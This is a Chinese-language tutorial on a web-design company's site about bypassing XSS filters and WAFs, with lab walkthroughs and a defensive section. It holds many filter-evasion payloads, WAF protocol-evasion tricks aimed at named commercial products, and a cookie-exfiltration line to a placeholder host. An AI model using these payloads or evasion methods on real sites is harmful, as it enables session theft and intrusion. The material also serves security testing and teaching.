拓冰建站拓冰建站
首页 / 资讯中心 / 正文

XSS绕过实战:从过滤机制到WAF绕过与靶场验证

做了几年安全测试和Web开发我在实际项目里绕过的坑踩了不少。很多人一提到XSS就想到弹个alert框但真到“过滤绕过、标签绕过、WAF绕过”这个层面考验的就不只是背几个payload了而是对浏览器解析机制、过滤逻辑缺陷、协议差异的理解。这篇文章我系统梳理一下自己的实战经验先说三条防线分别是如何工作的再讲标签绕过的底层思路然后拆解WAF绕过常见姿势最后结合皮卡丘靶场、iwebsec靶场、CTFHub这类练习环境给出可以从0到1落地的方法论。无论你是刚入门Web安全的同学还是在做WAF规则运维、写业务代码时需要自测XSS的工程师这份内容应该都能帮你在评估与测试时少走弯路。注意所有测试请务必在授权范围内进行。1. 先搞懂XSS的“三条过滤防线”1.1 客户端校验、服务端过滤、WAF各自的分工XSS能触发核心是用户输入在输出到HTML页面时被当成代码解析了。而防御方通常会在三个位置设置过滤客户端校验、服务端过滤、WAF拦截。客户端校验一般是前端JS在表单提交前做检查例如限制输入长度、过滤掉script等敏感字符串。这类校验只影响用户体验可以禁用JS、直接抓包绕过根本不构成安全边界。服务端过滤则是真正意义上的安全控制常见做法是拦截危险字符、对输出做HTML实体编码或者用白名单只允许特定标签。WAF则像一道闸门部署在流量链路或者服务器前对HTTP请求做实时匹配。WAF能拦截很多已知特征但它的本质是识别“看起来像攻击”的请求一旦恶意payload的结构不在规则库里就会漏。用一个生活化的类比客户端校验是小区门口保安看着很努力但基本不管事服务端过滤是你家的防盗门靠谱程度取决于门锁结构WAF像小区的中控系统能识别惯犯但偶尔也会把假装成维修工的人放进去。真正要绕过的时候你只关心两个问题一是服务端代码最终把输入放到了哪个HTML上下文二是WAF到底在匹配什么。1.2 为什么“黑名单过滤”总被绕过大多数可绕过的过滤逻辑本质上都是黑名单思维列出已知的危险标签、危险关键词一旦匹配就删除或转义。但黑名单有一个天然缺陷——只能枚举已经见过的攻击形式永远跟不上解析器理解的输入形式。举个例子如果过滤逻辑是简单把script字符串替换成空攻击者传入scrscriptipt时字符串替换会先把内部的script移除剩下的部分恰好拼成了新的script经典的递归过滤漏洞。即使过滤逻辑再复杂一点还有大小写变形、注释拆分、HTML实体编码等大量变形手段。真正安全的方案应该是白名单允许哪些标签、哪些属性、哪些协议都明确列出来剩下的一律拒绝。然而很多现成系统为了方便仍用黑名单这给了绕过很大的发挥空间。1.3 输出点决定payload形态我见过不少人只记payload不关心后端把数据放哪了。其实XSS能不能触发最关键的是看变量的输出上下文。同一个变量放在HTML标签之间、属性内部、JavaScript字符串里需要的绕过方式完全不同。输出位置危险形态示例说明HTML标签之间scriptalert(1)/script需要构造完整的新标签HTML标签属性内img srcx onerroralert(1)需要先闭合引号和标签JavaScript字符串内;alert(1);//需要闭合引号并构造语句URL协议相关javascript:alert(1)常见于href、src等属性DOM操作节点#img srcx onerroralert(1)输入不经过服务端直接进入前端sink在做绕过测试之前第一步永远是先看响应里输入被渲染成了什么样。如果你连输出点都没确认就直接上各种WAF绕过payload基本是浪费时间。2. 标签绕过的底层思路与经典手法2.1 不靠script也能执行JS的标签清单当服务端或者WAF把script标签列为重点拦截对象后最直接的办法就是换标签。一个标签要想执行JavaScript要么它自带可自动触发的事件要么它能包裹子元素触发事件要么它支持src、srcdoc这类能引入代码的属性。我在测试时常用的标签和触发方式如下img srcx onerroralert(1)图片加载失败时触发onerror经典方案。svg onloadalert(1)SVG加载完成后触发onload配合svg/onload...写法往往能绕过属性空格限制。body onloadalert(1)页面加载时触发适合在完整文档结构中测试。details open ontogglealert(1)打开元素时触发ontoggle很多规则不会覆盖到。videosource onerroralert(1)媒体资源加载失败触发。marquee onstartalert(1)虽然已经废弃但部分浏览器仍然支持。iframe srcdocscriptalert(1)/script利用srcdoc加载内联HTML。如果一个输入点在一个已经存在的标签属性内比如input value这里是输入那就不需要引入新标签了先闭合引号再手动添加autofocus onfocusalert(1)就能自动触发。2.2 关键词被过滤时的变形技巧标签换成后还可能遇到onerror、alert这类关键词被过滤的情况。针对关键词过滤我常用的变形手段可以排成一条阶梯先试大小写混合例如ImG sRcx OnerRoRalert(1)。正则如果没加i修饰符这招直接有效。然后试标签属性中插入换行、Tab等空白字符。很多解析器会把属性值里的\n、\t当作空白忽略但纯字符串正则不一定能覆盖。例如img%0Asrcx%0Aonerroralert(1)这里的%0A是URL编码后的换行。再试HTML实体编码。在属性事件里浏览器会对实体先解码再执行比较经典的是img srcx onerror#97;lert(1)#97;解码后是字母a。注意这个技巧通常只适用于标签属性中如果输入点在script标签内容里HTML实体是不会被解码的。最后试递归删除、注释拆分这类利用过滤逻辑缺陷的方法。比如过滤函数会删除script字符串就传入scrscriptipt如果连onerror都被删除拆成onspan styledisplay:noneerror/span不一定可行因为HTML事件属性里插标签会破坏语法所以更常见的还是用拼接字符串结合eval或者用top[al ert]这种对象属性访问的方式。2.3 括号、引号被过滤时的落地方案很多过滤规则不仅拦标签还会把()这些特殊字符转义或删掉。但我们可以尽量避开这些字符来执行代码。反引号是一个特别好用的替代品例如onerroralert1虽然形式新奇但现代浏览器完全支持。敏感函数名alert可以被拆成字符串拼接例如onerrortop[alert](1)。如果连alert都被禁用可以换prompt(1)或confirm(1)主要是验证弹窗能力。再激进一点用String.fromCharCode动态生成字符串eval( String.fromCharCode(97,108,101,114,116,40,49,41) )可以完全绕开字母过滤只不过payload会很长需要考虑长度限制。引号被过滤时能走不引号属性的方案就走不引号方案。HTML属性不强制要求引号img srcx onerroralert(1)一个引号都不用。如果是在JavaScript字符串位置可以考虑用反引号替代单双引号或者用document.location、location.hash来传递payload避免在前半段使用引号。2.4 从探测到确认的推荐顺序我在实战里总结了一套稳定的测试顺序流程化了之后效率高很多先提交一个最普通的payload比如scriptalert(1)/script观察响应里是否原样输出、是否加了转义。单独测试特殊字符的存活情况输入()/;记住哪些被过滤、哪些被转义。再确认输出位置响应里输入出现在标签内、属性内还是脚本里这一步直接决定payload结构。逐个替换被过滤字符的等价变体解码顺序从URL编码、HTML实体到Unicode不要一次性改多个变量否则很难判断到底哪一步生效。用真实请求验证执行结果浏览器能看到弹窗或触发外部请求才算出效果。3. WAF绕过的常见姿势与实战拆解3.1 WAF到底在检测什么把WAF的检测逻辑拆开大致有三层正则匹配、协议解析、语义分析。传统WAF最简单粗暴直接拿请求体去匹配签名库script、alert(这类特征在库里就拦截。协议解析更复杂一点它会把GET参数、POST表单、Cookie、Header分别解析出来再对参数名和值做标准化检查。语义分析则是目前云WAF普遍采用的方向不仅看字符串还会对解码后的内容做JavaScript语法分析判断是否具备攻击语义。绕过的核心思路永远是让WAF看到的输入和浏览器最终解析的输入不一致。这句话我反复跟团队成员强调它解释了为什么很多人只换大小写就能绕过一部分规则因为WAF的正则没覆盖大小写变体也解释了为什么有人用multipart/form-data、分块传输就能绕过去因为WAF可能在协议解析阶段直接没处理这部分。3.2 脏数据填充与正则引擎拉扯正则匹配存在性能上限和回溯问题。当WAF用复杂的正则去匹配超长输入时攻击者可以在参数值开头填入大量合法字符把恶意payload推到正则匹配的边界之外或者利用嵌套重复字符触发正则引擎的超时机制让检测直接放行。这种方式在学术和攻防演练中被称为“正则拒绝服务”的利用但实际生产环境里我不推荐依赖性能攻击因为它不稳定也容易误伤目标服务只能作为评估时的极端场景来验证WAF健壮性。更实用的是“边界拉扯”某些WAF规则只检查参数值的前N个字节那就在危险payload前面填充垃圾数据某些规则只匹配参数最后一段就把payload放在前面再加上拼接的假参数。这些都是通过大量实际测试才能总结出来的行为特征每个WAF都不一样。3.3 注释、空白字符与解析差异注释绕过是正则匹配模式下最好用的一招。HTML不支持在标签名中间插入注释但在属性值之间、JavaScript语句内部注释的利用空间很大。例如img srcx onerroralert(1)变形为img srcx onerroralert/**/(1)这样alert后面被插入注释WAF如果只匹配alert(就会被绕过。JavaScript解析器会忽略注释所以浏览器端照样执行。空白字符也是收益很高的方向。HTML解析器把\n、\t、\r、/甚至\f都当作空白分隔符但纯字符串正则未必全部覆盖。比如svg/onloadalert(1)这里的/被解析为空白把svg和onload分隔开了但很多签名规则不认为这是攻击特征。换行变体就更常见了img%0Asrcx%0Aonerroralert(1)就靠着URL解码后的换行拆开了img和src。3.4 协议层差异multipart、分块传输、Content-Type伪装如果纯字符变形没法绕过就要考虑协议层的差异了。WAF在解析HTTP请求时对application/x-www-form-urlencoded处理最到位但如果请求体变成了multipart/form-data不同WAF的解析能力差异就非常大。有的WAF根本没有完整解析multipart格式只盯着几个常见参数名看导致恶意payload放在某个文件块里就直接放行了。分块传输Transfer-Encoding: chunked也是很经典的绕过方法。部分WAF不重组分块或者重组时对块大小的解析存在差异导致检查时看到的不是完整请求体。Content-Type伪装则是把请求体声明成application/json或者text/xml后端框架如果做了宽松解析会正常取到参数值但WAF可能只按表单格式去解码。重复参数也是一种低成本的协议层绕法。id1idscriptalert(1)/script这种场景下有些WAF解析器取第一个参数值而后端实际取的是最后一个或者反过来。数组参数id[]script也可能造成WAF解析类型异常从而绕过检查。这些都需要针对你测试的目标去反复验证不同解析器的行为差异就是突破口。3.5 常见商用WAF的评估思路最近常被问到的场景是腾讯云WAF和宝塔面板自带的WAF过滤。我不针对具体产品做漏洞披露只讲评估思路。这类WAF的特点是规则库迭代很快常见的script、alert、onerror这些特征十分齐全所以经验不足的人很容易碰壁。但依然有突破口冷门标签和冷门事件通常覆盖不全比如details ontoggle、marquee onstart、videosource onerror还有语义分析不够深的地方比如对象属性链拼接、eval加字符串拼接WAF可能只检查到eval(这个字面量但没发现传入的字符串会拼出恶意代码。宝塔这类基于Nginx规则实现的WAF在multipart和超长请求这块有时存在解析差异比如没有对请求体做分块重组就直接放行。但我再次强调做这类评估必须先获得目标所有者授权。安全测试的核心目的是帮助团队验证防护边界、发现问题并补齐规则而不是拿着一个payload到处乱打。绕过WAF本身不难难的是如何在合规前提下证明问题的存在并推动修复。4. 从靶场实战中沉淀的方法论4.1 皮卡丘靶场反射型XSS复现皮卡丘Pikachu靶场很适合入门反射型XSS。它的思路比CTF要温柔但也非常能训练“先看输出位置再构造payload”的习惯。我复现反射型XSS时一般这么做先在输入框提交一个普通字符串比如test123同时在Burp Suite里看响应确认它出现在哪个位置。很多新人栽在这里直接在输入框提交scriptalert(1)/script没弹窗就以为漏洞不存在其实打开响应一看尖括号已经被转义成lt;scriptgt;了。如果输出点在一个input value...里那尖括号转义反而没那么重要因为只需要闭合引号再构造事件属性就行。常见payload就是img srcx onerroralert(1)。记住这个思路只要输入能落在属性内就能闭合属性后在标签上添加事件。实际操作中还要注意编码问题。如果响应里输入被做了HTML实体转义但双引号未转义可以利用属性闭合如果单双引号都被转义可以尝试用反引号或者不在属性值内构造。靶场里比较友好的地方是可以反复试错我建议每次改动一个变量记录能生效的最小payload比如从svg onloadalert(1)到svg/onloadalert(1)只差一个斜杠但结果可能完全不同。4.2 iwebsec靶场XSS漏洞通关记录iwebsec靶场的XSS关卡设置得更接近真实过滤场景适合训练绕过思路。我通的时候印象比较深的是它的过滤层级是递进的第一关直接输scriptalert(1)/script就能触发到了后面关卡script、alert、onerror这些关键词逐步加入黑名单。我的通关顺序是先用完整payload探测过滤规则比如同时提交scriptalert(1)/script和scrscriptiptalert(1)/script观察哪个能活着。如果script被过滤就换成img srcx onerroralert(1)如果alert也被过滤就试prompt、confirm或者用top[alert]。如果onerror被过滤就换其他事件属性比如onload、onfocus、ontoggle。到了最后几关往往需要组合使用大小写、换行、HTML实体多步变形才能触发。通关完最大的收获不是记住某个payload而是总结出“先探测过滤规则再基于输出点做最小变换”的方法。你可以在自己的测试环境里建一个表单把目标参数接入后端过滤函数用同样的流程反复测试很快就能理解为什么黑名单总是不够用。4.3 DOM型XSS的特殊性DOM型XSS在热词里热度一直很高因为它和传统反射型、存储型完全不是一个检测思路。传统XSS的payload在HTTP请求里就能看到WAF有机会拦截但DOM型XSS的整个利用过程可能完全发生在浏览器端服务端请求里不包含恶意标签或者payload藏在location.hash片段里而hash值通常不会发送到服务端所以WAF压根看不到它。DOM型XSS的关键在于“从source到sink”。source是恶意数据入口最常见的是location.hash、location.search、document.referrer、window.name、postMessage事件。sink是危险函数调用点比如document.write、element.innerHTML、eval、Function构造函数。实战中我会先用简单输入确认数据能否到达sink比如在URL的#后面加一个img srcx onerroralert(1)看页面是否弹窗。真实业务里最怕的是前端框架把URL参数取出来后经过一段复杂的拼接再插入innerHTML业务代码一多就没人能一眼看出问题。所以遇到DOM型XSS时别急着构造复杂payload先在浏览器控制台把source到sink的链路走通再考虑怎么绕过字符限制。4.4 与RCE代码执行过滤绕过的思路联动XSS绕过和RCE执行过滤绕过虽然是两个方向但底层逻辑非常相似。RCE场景里常见需要绕过空格过滤用${IFS}替代绕过命令拼接用al;bs;$a$b拆分关键词绕过编码限制用base64再解码执行。XSS场景里同样存在关键词拼接、编码、空白符替换。二者本质上都是在对抗“子串黑名单”最终目标都是让执行函数看到完整的攻击字符串而过滤器看到的却是拆散或变形的无害内容。理解这个共性后你会发现绕过的思路可以跨场景复用。比如在WAF评估时如果一个XSS payload的思维卡住了可以想想RCE过滤绕过里是怎么拆词的用同样的方式拆JS关键词试试。反过来也一样很多做命令注入的同行也常从XSS的HTML实体编码里找到灵感。安全攻防的技术点看似分散核心规律其实是相通的。5. 绕过之后这些技巧怎么反哺防御5.1 后端过滤别再只依赖黑名单我在帮一些团队做代码审计时发现后端过滤最常见的写法就是一个preg_replace把script、alert、onerror全替换成空。这种写法在绕过技术面前几乎是裸奔。正确的做法是分两步输入时做白名单校验丢弃不符合业务格式的数据输出时根据上下文做转义。HTML上下文用htmlspecialchars配合ENT_QUOTESJavaScript字符串上下文要做JS转义URL上下文要做URL编码CSS上下文则要避免动态拼接。把输出编码做对比在入口处堆叠关键词黑名单有效得多。如果是富文本场景不要自己写标签白名单直接用成熟的过滤库比如服务端用HTMLPurifier前端用DOMPurify。它们对协议、事件属性、CSS表达式有完整的白名单控制。自己写正则去过滤富文本几乎必然出现漏网之鱼。5.2 WAF规则要持续迭代WAF绕不过去不代表WAF没用关键是规则库要跟上攻击手法的迭代。我给团队的建议是维护一个绕过payload库每次在授权测试、CTF题解、公开漏洞报告中看到新的绕过技巧就补充一条特征规则。规则不要只覆盖“攻击标签”本身还要覆盖它的解码链。比如一条规则检查script另一条检查URL解码后的script再有一条检查HTML实体解码后的结果这样多层编码就很难直接穿透。同时WAF规则越多越容易误报。简单粗暴地堆规则会拦截大量正常业务参数所以需要做一个分级策略高危接口用严格模式公开访问页面用宽松模式后台管理接口一律走严格模式加人机验证。上线新规则前先用历史流量回放测试误报率再灰度放量这是我在生产环境踩过几次坑后才总结出来的流程。5.3 纵深防御CSP、HttpOnly、安全编码XSS防御不能只靠一层。虽然CSP不是所有场景都完美兼容但它可以把XSS利用成本拉高好几个量级。建议优先配置Content-Security-Policy脚本源用nonce或hash禁止unsafe-inline这样即使攻击者能在页面里注入HTML也没法直接执行外部脚本或内联脚本。Cookie一律加HttpOnly和SecureSession相关Cookie还要加SameSite避免攻击者通过XSS直接偷走会话。前端代码层面凡是往DOM里插入不可信数据的操作全部用textContent而不是innerHTML。必须用innerHTML的场景先经过DOMPurify处理。这个习惯一旦养成DOM型XSS复发的概率会大大降低。5.4 日志与告警体系最后是日志。很多XSS攻击看起来只是零星几次请求但如果把攻击链放到一起看特征很明显。至少要在日志里记录完整请求参数、Referer、User-Agent、请求体保留原始payload方便事后分析。针对XSS检测可以增加异常告警规则一个请求参数里同时出现、script、onerror等字符组合参数值里出现javascript:协议或者同源IP对同一接口发起大量包含危险字符的请求时直接告警。告警规则越贴近业务误报越少这需要一线运维和安全团队一起根据实际流调优。6. 常见问题与排查技巧实录6.1 本地能触发、换到目标环境就不行最常见的疑问是本地测试环境能弹窗到了目标站点同样payload就是不触发。大概率是目标环境的浏览器解析规则、前置转义函数、CSP或者字符编码不同。排查思路是先把payload打到响应里看原始内容截个图或者用Burp看响应报文对比本地环境哪里被改了。还有一个常见坑是Chrome的XSS Auditor虽然退出了历史舞台但部分现代浏览器的安全机制仍然会拦截内联脚本注入这时可以考虑改成事件属性或者其他触发方式尽量不依赖完整标签。6.2 只防住了alert防不住其他证明方式有些过滤规则专门替换alert字符串但业务系统的漏洞是否修好判断标准是整个可利用链路是否还存在而不是某个函数被禁用了。我一般用prompt(1)、confirm(1)来验证弹窗执行能力用加载外部图片new Image().srchttp://xxx/?document.cookie来验证是否可以外带数据。如果外带请求能发出去说明攻击者已经能执行任意JS只是弹窗函数名被拦了而已。在复测时记得把这类思路一并验证写报告时也说明清楚。6.3 WAF绕过后又遇到服务端输出编码这种情况经常发生在WAF规则比较严格、但后端代码本身做了htmlspecialchars输出转义的站点。你费尽心机绕过了WAF结果发现响应里尖括号被转义了。我处理这个问题的顺序是先看输出是否在HTML标签属性内如果是尝试闭合引号并注入事件属性如果输出在script标签内容里尝试构造闭合标签/script后再插入新标签如果整体都被转义得很死就需要找DOM型sink看前端是否有其他入口把不可信数据拽进危险函数。6.4 XSS问题排查速查表现象可能原因尝试方向script标签原样输出但不弹窗被输出编码/浏览器安全机制拦截换img标签事件属性或先确认响应内容alert关键词被过滤黑名单包含函数名用prompt/confirm或top[alert]双引号触发报错或转义上下文解析导致引号失效去掉引号改用反引号或直接使用事件属性GET请求被WAF拦截WAF对GET检测严格换成POST请求、JSON请求体、multipart请求体测试外网环境弹窗不触发浏览器自动播放/安全策略限制改成自动触发事件、焦点事件、或者加载外部脚本验证输出在script字符串内部需要闭合script标签构造/scriptimg srcx onerroralert(1)6.5 实操中容易踩的5个坑第一个坑是只在一个浏览器里测试不同浏览器对HTML解析差异很大在Chrome能用的payload换到Firefox可能完全无效至少要在Chromium和Firefox两个内核里验证。第二个坑是测试时一次改了三个变量导致完全不知道是哪一个改动让绕过后生效测试时要单点变换并记录。第三个坑是把“弹窗”当成漏洞存在依据弹窗只能证明代码可以执行真正严重的是能否把Cookie带到攻击者服务器。第四个坑是不保存测试过程中成功的payload和上下文导致后续复现和写报告时无从下手。第五个坑是忽视授权边界在未授权目标上做绕过测试这个行为的性质完全不同我在团队里一直强调技术能力的边界恰恰是在合规这里体现出来的。写在最后的实操体会绕XSS过滤和WAF说到底拼的不是payload积累量而是“理解解析顺序”的能力。同一段字符WAF按正则在原始请求里看后端框架按参数解析器看浏览器按HTML/JavaScript解析器看三层看到的含义可能完全不同。你要做的就是在这些差异之间寻找缝隙。我自己的习惯是每个成功绕过的payload都会保存下来标注清楚输出上下文、过滤规则、WAF类型、浏览器环境时间久了就形成一份自己的绕过字典。遇到新目标时先套字典再结合目标特性做微调会比临场硬想靠谱得多。希望这一篇梳理能帮你建立起自己的XSS测试框架不管你是做防御还是做评估都能少走几步弯路。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门